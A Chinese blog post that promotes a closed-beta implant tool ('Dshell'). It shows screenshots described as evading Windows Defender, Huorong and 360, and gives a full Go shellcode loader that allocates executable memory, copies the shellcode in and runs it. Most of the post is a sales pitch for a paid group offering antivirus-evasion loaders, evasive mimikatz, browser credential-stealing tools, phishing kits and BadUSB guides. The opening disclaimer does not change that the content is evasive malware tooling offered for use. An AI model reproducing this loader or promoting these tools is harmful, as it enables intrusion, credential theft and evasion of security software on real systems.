请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。如有侵权烦请告知,我们会立即删除并致歉。谢谢!
shellcode生成
生成的bin文件只有2KB
windows defender
火绒
360
使用加载器加载shellcode文件上线
成功上线
使用go语言格式的加载器编写代码,编译运行上线
编写代码
package main
import (
"syscall"
"unsafe"
)
funcmain() {
kernel32 := syscall.NewLazyDLL("kernel32.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
RtlMoveMemory := kernel32.NewProc("RtlMoveMemory")
shellcode := []byte{0x56, 0x48...}
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), 0x1000|0x2000, 0x40)
RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
syscall.SyscallN(addr)
}
编译运行 默认的shellcode就是免杀的, 成功上线
默认的shellcode就是免杀的, 成功上线
目前Dshell还属于内测阶段,仅限内测用户使用。
加入帮会,获取内测体验
👇 帮会早鸟价 👇
199元 / 年卡会员
299元 / 永久会员
后面工具越多,帮会价格越高
早加入早享受
加入后可获以下服务:
1. 帮会所有工具的永久使用权,工具包含:
(1)目前已有的所有工具:
Dshell内测工具
shellcode图形化转换工具
windows defender 免杀加载器
Rust免杀创建线程loader源码
Rust免杀编译环境虚拟机
360免杀版分离加载1.2
vshell免杀加载器
绕过360传输告警
CheckGoBuild(win&linux版本)
fscan2.0.0(各种免杀版本)
packerwdfV1.0.1
packer360V1.1.2
红队快速部署各种网页钓鱼工具(可内网)
go语言实现反射加载dll
packerhuorongV2.0.0
捆绑器源码学习
CS插件一键免杀v2.0--免杀360
CS插件一键免杀v1.0--免杀火绒6.0
badusb制作教程
去exe黑框工具
cslove-自研CS插件
360安全卫士开启晶核+qvm202+鲲鹏引擎专项
bypassQVM工具
360免杀马生成器
火绒免杀马生成器
defender免杀马生成器
mimikatz免杀版, 实战可过亚信
HackBrowserData免杀版
内网多级代理Venom毒液免杀版
内网多级代理Stowaway免杀版
CheckGoBuild.exe fuzz go编译参数工具
白加黑武器化工具GenDLLFile.exe
x步云沙箱环境信息获取工具
FileEntropyAnalyzer一款查看文件熵值的工具
大白哥版二开cs等
会持续一直更新免杀
**部分非免杀工具或后续陆续上传。
(2)后续的新工具(特别是图形化免杀工具),都会在帮会同步。
2. 后续所有工具的迭代更新版本将在帮会中发布;
3. 售后服务 + 持续更新 + 优先支持。
由于安卓支持小程序购买,苹果暂不支持
因此下面将区分两者的购买渠道
安卓用户小程序购买更方便
👇 点击图片跳转进入小程序 👇
👇 苹果/安卓用户都可扫码购买 👇
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...